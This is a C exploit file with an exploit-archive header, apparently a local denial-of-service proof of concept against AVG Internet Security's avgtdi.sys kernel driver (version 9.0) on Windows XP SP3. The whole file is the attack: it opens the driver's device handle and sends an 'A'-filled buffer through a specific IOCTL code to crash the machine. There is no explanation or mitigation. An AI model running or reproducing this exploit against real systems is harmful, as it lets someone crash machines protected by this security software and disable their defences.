/*
# Exploit Title: AVG Internet Security 0day Local DoS Exploit
# Date: 2010-11-01
# Author: Nikita Tarakanov (CISS Research Team)
# Software Link: http://www.avg.com
# Version: up to date, version 9.0.851, avgtdix.sys version 9.0.0.832
# Tested on: Win XP SP3
# CVE : CVE-NO-MATCH
# Status : Unpatched
*/

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <io.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#include <share.h>

int main(int argc, char **argv)
{
 HANDLE   hDevice;
 DWORD    cb;
 void  *buff;
 int outlen = 0x18, inlen = 0x10;
 DWORD ioctl = 0x830020C8;
 char deviceName[] = "\\\\.\\avgtdi";
 char logName[] = "avgtdi.log";

 if ( (hDevice = CreateFileA(deviceName,
        GENERIC_READ|GENERIC_WRITE,
        0,
        0,
        OPEN_EXISTING,
        0,
        NULL) ) != INVALID_HANDLE_VALUE )
 {
  printf("Device  succesfully opened!\n");
 }
 else
 {
  printf("Error: Error opening device \n");
  return 0;
 }

 cb = 0;
 buff = malloc(0x1000);
 if(!buff){
   printf("malloc failed");
   return 0;
 }
 memset(buff, 'A', 0x1000-1);

 DeviceIoControl(hDevice, ioctl, (LPVOID)buff, inlen, (LPVOID)buff, outlen, &cb, NULL);

 free(buff);
}